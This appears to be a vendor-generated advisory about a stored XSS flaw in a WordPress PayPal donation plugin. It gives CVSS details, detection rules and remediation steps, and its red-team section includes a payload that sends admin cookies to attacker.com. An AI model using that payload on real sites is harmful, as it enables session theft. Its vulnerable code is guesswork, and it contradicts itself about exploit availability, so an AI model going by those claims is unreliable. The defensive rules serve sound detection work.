CVE-2025-57891
Executive Summary
CVE-2025-57891 is a Stored Cross-Site Scripting (XSS) vulnerability in the Recurring PayPal Donations WordPress plugin (versions <= 1.8). The plugin fails to properly neutralize user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This is a WordPress ecosystem issue, not related to Apache or Nginx.
The vulnerability has a CVSS score of 5.9 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No public exploit code or Nuclei template is available, and no patch has been released by the vendor (Wpecommerce). The attack vector is network-based, requires low complexity, and needs user interaction (e.g., an admin viewing the injected content).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. Since no patch is available, the supply chain is compromised for all versions <= 1.8. Organizations should treat this as a high-priority supply chain risk and consider removing the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.9 (Medium)
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – unauthenticated attacker can inject.
- User Interaction (UI): Required (R) – victim must visit the affected page.
- Scope (S): Changed (C) – impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – limited ability to modify content.
- Availability (A): Low (L) – limited disruption.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a WordPress admin context (e.g., donation history) could lead to session hijacking, defacement, or phishing attacks.
Deep Dive & Mechanics
The vulnerability resides in the recurring-donation plugin's input handling. The plugin likely stores donation-related data (e.g., donor name, message, or custom fields) in the WordPress database without proper sanitization or output encoding. When an admin or user views the stored data (e.g., in the admin dashboard or frontend donation list), the injected script executes.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses()). This allows an attacker to submit a donation with malicious JavaScript in a text field.
Attack Flow:
- Attacker submits a donation via the plugin's form, injecting
<script>alert('XSS')</script>in a text field. - The plugin stores the input in the
wp_postmetaor custom table. - An admin visits the "Donations" page in the WordPress admin panel.
- The plugin retrieves and displays the stored data without sanitization.
- The injected script executes in the admin's browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:
// Vulnerable code (recurring-donation plugin, version <= 1.8)
echo '<div class="donation-message">' . $donation_message . '</div>';
A patched version would use proper escaping:
// Patched code (hypothetical)
echo '<div class="donation-message">' . esc_html( $donation_message ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Recurring PayPal Donations plugin (<= 1.8) installed and active.
- The plugin must have a publicly accessible donation form (e.g., via shortcode or widget).
Exploitation Steps:
- Identify the donation form endpoint (e.g.,
/donate/or a custom URL). - Submit a donation with a malicious payload in a text field (e.g., "Donor Name" or "Message"). Example payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an admin to view the donation list in the WordPress admin panel (e.g.,
/wp-admin/admin.php?page=recurring-donations). - The script executes, exfiltrating the admin's session cookie to the attacker's server.
Note: No public exploit code is available, so this is a manual process.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual donation submissions containing HTML/JavaScript in text fields.
- Check WordPress database for stored XSS payloads in
wp_postmetaor custom tables. - Use web application firewall (WAF) rules to block common XSS patterns.
Defense:
- Immediately disable or remove the plugin until a patch is released.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins (e.g., Wordfence) to add input validation.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
document.cookieorlocalStorage. - Unusual POST requests to the donation form with HTML tags in text fields.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- Presence of
<script>tags in thewp_postmetatable (e.g.,SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'). - Modified plugin files (though unlikely, as the vulnerability is in the core plugin code).
- Presence of
File IOCs:
- Plugin file:
/wp-content/plugins/recurring-paypal-donations/recurring-donation.php(or similar) containing unescaped output.
- Plugin file:
Detection Engineering
YARA Rule
rule CVE_2025_57891_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Recurring PayPal Donations plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57891"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$plugin_path = /recurring-paypal-donations/
condition:
$plugin_path and $xss_payload
}
Sigma Rule
title: Stored XSS in Recurring PayPal Donations Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via donation form submissions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/donate'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in donation messages (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57891 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/donate"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete the Recurring PayPal Donations plugin from all WordPress installations.
- Scan for compromise – Check the WordPress database for stored XSS payloads using the YARA rule above.
- Rotate admin credentials – If any admin accessed the donation list, rotate all admin passwords and session tokens.
Long-term Mitigation:
- Monitor the plugin's official page for a patched version (>= 1.9). Apply immediately when available.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Educate users to avoid clicking on suspicious donation links.
Workaround (if plugin cannot be removed):
- Add a custom filter to sanitize donation input:
add_filter( 'recurring_donation_message', 'esc_html' ); - Use a WordPress security plugin to enforce output escaping.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.